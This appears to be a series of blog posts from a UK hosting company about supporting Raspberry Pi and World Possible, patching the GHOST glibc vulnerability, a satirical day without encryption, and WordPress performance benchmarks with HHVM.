At UKNOF31 we presented a talk entitled Catastrophic Unplanned Success, a slightly rushed history of how some of the rapid scale-up of RaspberryPi from the point of view of the hosting provider, detailing some of the issues we’ve dealt with during their extremely rapid scale up, and attempting to educate the teenagers into a proper DDoS rather than the half-hearted ones they’ve tried so far.

https://indico.uknof.org.uk/getFile.py/access?contribId=5&resId=0&materialId=slides&confId=33

We believe this talk was videoed, we’ll put the video up here too once it’s published.

Some time ago we were forwarded a plea by Liz Upton who’s sort of famous on the internet for some sort of cheap computer, on behalf of World Possible, which said

This brings us to good news / bad news.  Last month we pushed through 5TB of
FTP traffic, and over 20TB of FTP traffic on the year.  That's great, about
700 RACHEL downloads - but our web host isn't as excited with our success
and cut us off yesterday.

Liz thought this was the sort of thing we might be able to help with. So we got in contact and we’ve set them up with one of our older inexpensive servers to act as a new host. As it’s an educational project that we’d like to support; we thought we’d donate some bandwidth to help out. Since it nicely coincided with a substantial bandwidth upgrade in our Cambridge data centre we’d put the service there.

So far they seem pleased!

which is handy because some of their other suppliers who pay Amazon rates for bandwidth were a little bit annoyed with them.

Mythic Beasts has been supporting Raspberry Pi since we saw a small Atmel based prototype that Eben Upton was tremendously proud of and that we thought nobody would ever want. However, we’ve always been wary of betting against Eben and the fact we’re now providing enough bandwidth to download copies of N00BS considerably faster than we can make cups of coffee suggests that, much though it pains us to admit it, we might have been wrong and Eben might have been right.

On Saturday Pete went to join Raspberry Pi at their 3rd birthday party. It was a lot of fun. He drank beer brewed by a brewery controlled by Raspberry Pis, saw the magical RFID announcing machine declare Liz Upton ‘The Tyrannical Goddess of Time and Space’ which clearly had been set to maximum flattery mode. There was also a neat synthesiser with keyboards and a drum machine hooked up doing all the instrument synthesis on an original single core model B which resulted in this sort of Raspberry Jam:

Expedited shipping on my replacement @Raspberry_Pi from @ModMyPi #PiBirthday #PiParty pic.twitter.com/xb0yZGsN9T

— Mythic Beasts (@Mythic_Beasts) February 28, 2015

But mostly it was just great to see how far we’d come. At the original Raspberry Jam soon after launch in 2012 we met a lot of people who were exciting and fired-up with plans to do awesome things. Now lots and lots of awesome things have been done.

When @Raspberry_Pi started we wanted to inspire kids to do awesome things. Now they’ve done awesome things and inspired us. #PiParty

— Mythic Beasts (@Mythic_Beasts) February 28, 2015

But I think it was Helen Lynn that summed it up best. She quietly said to me while surveying the amazing stuff in the room, ‘It really is loads better than when I was six’. Eben Uptons attempt to recreate the computers of his childhood in the 1980s has completely and utterly failed, it’s much cooler this time round.

Steven Allain

On Sunday night Pete was in the Hopbine and while buying some drinks the bartender asked him about his Raspberry Pi t-shirt and if he knew anything about it. One of the hazards of drinking in Cambridge is the barstaff are often considerably more knowledgable than you might expect at first.

Steven not only sells beer but is also a student at ARU studying zoology and has been using a Raspberry Pi and camera to look into monitoring and photographing things under water with motion detection. He commented that he’d just bought a Raspberry Pi model B+ and only a couple of weeks later the much faster model 2 B had come out and he wished he’d bought one of those instead, but as an impoverished student he couldn’t really justify replacing it.

Now we think taking photographs of fish and reptiles is pretty cool, so Pete took pity on him and gave him his model 2 Raspberry Pi in exchange for a future promise of some photographs of underwater things taken with his setup.

Ultimately this gets back to the real reason Mythic Beasts support Raspberry Pi. Not because it makes it cheap to run a formal curriculum for teaching in schools, but because it’s a catalyst for people to teach themselves. Steven may or may not have success in making a motion detecting under water camera but either way he’ll learn a lot in the process.

The mistake in all this? Not checking the Raspberry PI stock levels and Pete realising it’s going to take a few weeks before the replacement model 2 arrives – he’s back to his old much slower model B+ now and grumbling about it.

Taking a break from our usual articles about upgrades for VPS customers and mocking the hopelessly incompetent, we’d like to announce an upgrade for dedicated and colo customers in our Cambridge data centre. We’ve finally completed the upgrade of both of our links into Cambridge, so have increased bandwidth quotas, and reduced excess rates to just 7p/GB.

Details of the new specs can be found on our Dedicated Server, Colocation and Mac Mini Colo pages.

I would like to introduce our all new female GHOSTbusting team to tenuously tie in with a new Hollywood movie and gratuitously include a cool staff photo in this blog post, and for marketing reasons I’m going to ignore the reality that Toby did all the updates for GHOST.

Qualys found during a code audit a buffer overflow exploit for gethostbyname() in glibc which they’ve named GHOST. This means that any internet facing software that can be persuaded to do a DNS lookup is potentially vulnerable. To a first approximation that’s everything that’s listening on an internet socket.

The details are in CVE-2015-0235. Note this explains quite comprehensively how to exploit the vulnerability so we are expecting active exploitation to have already started.

The vulnerability was announced at 16:30 on Tuesday, at 16:40 the first ticket was opened in our queue automatically. We started reviewing the information shortly thereafter and deployed the updated packages to our shared hosting servers Tuesday evening. This gives a short window to discover any critical issues with the new packages before we start deploying updates to our managed hosting customers.

At 8:30am on Wednesday, we emailed every managed customer running vulnerable code (which is almost but not quite all of them) explaining the issue and indicating we’d be applying the patches immediately unless otherwise instructed not to. Giving customers a short window to reply before going ahead (some are automatically deploying via Puppet and don’t want us to update for them) we then applied the updates to the customer servers, which involved very brief interruptions to listening services as they restarted.

Subsequently spot auditing some customer machines indicates that the glibc update via the package manager may not have restarted every vulnerable process. We’re now writing some audit tools to check for missing service restarts. Tomorrow morning at 6am, our reporting package will report in lots of data about the status of all our managed customer machines including the complete process list and complete list of listening services, so on our reporting box we can do a complete audit for every listening process that hasn’t been restarted in the last 24 hours and investigate and fix where necessary.

If you aren’t a managed hosting customer of Mythic Beasts we implore you to update your systems as soon as possible, we strongly expect that someone is going to build a very big denial of service botnet very quickly from this vulnerability. If you have no idea how to update and audit your server please get in contact with us at support @ mythic-beasts.com even if you’re not hosted with Mythic Beasts.

Today we’re at the UK Network Operators Forum and we’ve just had a talk from Kevin Williams, Partnership Engagement and National Cyber Crime Capabilities Manager at the National Crime Agency.

He was asked,

‘Do you believe that banning secure encryption will make the UK more secure’.

His answer was,

‘My personal opinion is no, and you can quote me on that’.

Which shows that at least one person in our government has some clue even if David Cameron doesn’t.

8:30 : Wake up and get out of bed. Open the curtains to see the sun shining, put a dressing gown on and go downstairs to make some coffee.

8:40 : Take coffee to the home office and open up the laptop to start some work.

8:41 : Laptop does not ask for a password to decrypt the encrypted filesystem and refuses to work.

8:42 : Sip coffee and wait for desktop to boot.

8:43 : Log into desktop machine.
this wouldn’t actually work either, but we’re going to lie for narrative structure

8:45 : Open up web browser, default homepage is our support queue which displays message ‘I’m afraid this uses illegal encryption technology and you are not allowed to access this page’.

8:50 : Drink some more coffee.

8:55 : Realise there’s a copy of the customer support tickets in email, turn on email client.

8:56 : Wonder why email client gives strange connection errors that the mail server is refusing to allow it to connect with SSL turned on.

9:00 : Give up on email entirely, hurrah!

9:01 : Look at empty coffee cup, go downstairs to the kitchen to refill the coffee cup.

9:10 : Log on to company chat-room which fails to work with a connection error.

9:15 : Think this is all a bit bizarre so phone colleague on mobile, she answers to say that she’s having lots of problems too.

Spilled Coffee by Kenny Smith

9:20 : Conclude that the winning plan is clearly to spend the day updating some documentation while drinking coffee.

9:25 : Company wiki fails to load. Secure connection error.

9:30 : Decide to check the mrtg monitoring graphs to see if the network is working. Connection fails.

9:35 : Probably best to start fixing the mrtg monitoring server, first step, log into our bastion host which manages the access controls for servers on our network. Connection fails.

9:40 : This is getting really weird, probably best to go off and feed the cat who’s been miaowing for the last fifteen minutes demanding breakfast.

9:45 : Examine coffee carefully to check it’s not been tampered with and had hallucinogenic drugs added. Realise that if hallucinating could be hallicinating that no drugs were added when they were and how would you tell anyway. Conclude this is about to turn into a long, complex and ultimately nugatory philosophy problem.

10:00 : Return to desk, decide that the best plan is to audit our assets database and resolve some discrepancies between reality and the database by visiting the data centre.

10:05 : Unable to book visit to data centre, the data centre portal doesn’t work, connection errors.

10:10 : Unable to load the assets database, secure connection error.

10:11 : Unable to book car, Zipcar is down.

10:12 : Unable to look at map, Google Maps is down.

10:15 : Decide that the winning plan is to just give up, drink coffee and watch cat videos on youtube. Youtube fails to load with a secure connection error.

10:17 : Skim the news which has some article about a new government and some encryption technology. Click on a link in the forum which surprisingly fails to rick-roll.

10:20 : Now really very annoyed, going to have to waste time on facebook. Facebook refuses to load with a secure connection error.

10:30 : Phone company conference number for conference call to organise the day. Connection error.

10:35 : Really running out of ideas now of what to do. Go for a walk outside to a coffee shop. Mildly surprised that the sunshine is still working.

10:55 : Arrive in coffee shop to be greeted as Arthur Dent. Realise still wearing dressing gown, and for forms sake must now try and order a cup of tea.

11:00 : Order tea, coffee shop tells us that the credit card payment machine isn’t working and we’ll have to pay in cash. Observe that our wallet is empty. Leave coffee shop to go to cash machine.

11:10 : Cash machine is out of order.

11:30 : Return home and get dressed. Then collect cheque book, return to coffee shop. Persuade them that they can accept a cheque and order tea.

12:30 : Reflect that todays achievements so far consist of buying a cup of brown liquid that was almost but not quite entirely unlike tea. Go back home to face the afternoon.

13:00 : Decide that this is pointless and book tomorrow off. Holiday booking system doesn’t work, connection error.

13:10 : Decide this is lunacy and want to resign. Go to Linked In to update CV and find new job. Connection error.

13:20 : New job will probably be as crap as this one. Just resign. Fire up word processor, write resignation letter and email to boss.

13:30 : Email doesn’t work. Print it out.

13:40 : Printing doesn’t print either. Give up and copy it off the screen with a pen onto a piece of paper ready to post to boss. Realise there’s no stamps and with no cash it’s going to be hard to buy one.

13:45 : That’s it! Game over man! Game over! What the **** are we gonna do now? What are we gonna do? Maybe we could build a fire and sing a couple of songs? Why don’t we try that?

13:50 : Stop panicking and hit upon a cunning plan, steal all the money from the company and flee to a more sensible country than this one.

14:00 : Try to book a flight to Athens. Shopping cart fails with a connection error.

14:10 : Try to go to the bank website to withdraw all the money. Fails with a connection error.

14:20 : Visit the bank in person to steal all the money. Bank has a massive queue of people complaining because they can’t withdraw their money, apparently there’s ‘computer problems’.

14:30 : Give up on humanity entirely and go and find a park bench on which to live, in the vague hope that someone has a gold brick with which to wrap around a slice of lemon for brain smashing purposes.

The new Mythic Beasts Offices (public domain)

So last week we built a fort from some old customer servers. Sometimes, though, it’s important to just try a little bit harder.

Hip Hop is not only a style of music, but also the name of a virtual machine written by Facebook which compiles PHP Just In Time to make it go quickly.

Now we receive lots of unsolicited advice about how to run a not very popular wordpress blog and cope with the volume of traffic. Usually this involves ripping and replacing the entire infrastructure from a standard Linux/Apache/MySQL/PHP stack to something different (Nginx/MariaDB/PostgreSQL) which may not even be able to run WordPress at all (e.g. node.js).

At Mythic Beasts we like to understand what we’re doing, rather than blindly installing Magic Go Faster Solution Number 7. So we set up a test 2GB dual core virtual machine, that runs WordPress and a selection of popular plugins ( WordPress SEO, Akismet, Safe Report Comments, Liveblog, Facebook, Yet Another Related Posts Plugin, WordPress Supercache and Jetpack, no endorsement implied). Then we benchmarked with siege and managed the following results.

Apache/mod_php : 5.10 trans/sec

and when you turn supercache on and serve cached pages you get

Apache/mod_php/supercache : 873.50 trans/sec

So this gives us two scenarios, pages which we have to generate content for which can easily cause load issues, and pages served from supercache in which our VM is fast enough for all practical purposes and will easily weather even very big traffic spikes from news websites or television adverts.

Now, it’s very popular to tell us to use Ngnix as it’s faster than Apache. Is it though?

Nginx/php-fpm: 5.70 trans/sec
Nginx/php-fpm/supercache: 2230.58 trans/sec

Wow! Nginx is three times quicker than Apache at serving cached pages. This is amazing, but not very helpful. It means when our webserver is serving pages really quickly, we serve pages at three times really quickly, but when we’re generating pages on demand, it’s about 10% quicker. That’s not very special and doesn’t justify a rip and replace of the whole installation for a 10% performance improvement.

A quick look at the VM during the testing tells us that the bottleneck is executing the PHP code which creates WordPress pages. The choice of webserver is basically irrelevant; almost all the server time is spent executing PHP and reading data from the database.

Enter HipHop Virtual Machine.

This is nothing to do with the HipHop Virtual Machine. But we like tea and Banging Tunes

It has one focus, to execute PHP quickly for Facebook. Facebook have a lot of servers and spend hundreds of millions to billions per year on servers and data centres. A 50% performance improvement in PHP saves them huge sums of money in data centres and servers alone, so it’s clearly worth them trying to optimise as much as possible.

Here’s what happens with Apache/Nginx running HHVM.

Apache/HHVM :           35.93 trans/sec
Apache/HHVM/supercache: 928.70 trans/sec
Nginx/HHVM :            33.78 trans/sec
Nginx/HHVM/supercache : 2137.67 trans/sec

This is a huge improvement for non cached pages – seven times faster. Cached pages are bottlenecked in the webserver so it makes minimal difference, but they were already so fast we weren’t worried about them. Again Apache/Nginx are still pretty much the same speed for generated pages, we’re still dominated by the code execution time but a seven fold performance improvement is worth seriously considering.

Whilst we can reconfigure servers standing on our heads, we usually don’t.
Photo credit: Mark Dolby, Flickr, CC-BY.

All I need to do now is see if I can find someone with a very busy WordPress site and a million complaining users who would like to test it to see if it’s really as good as the lab tests suggest it might be.

Very sorry to hear the news that Big Bank Hank who co-wrote the first ever hit Rap track Rappers Delight died earlier this week from kidney complications related to cancer.

You see, he was six foot one, and he was tons of fun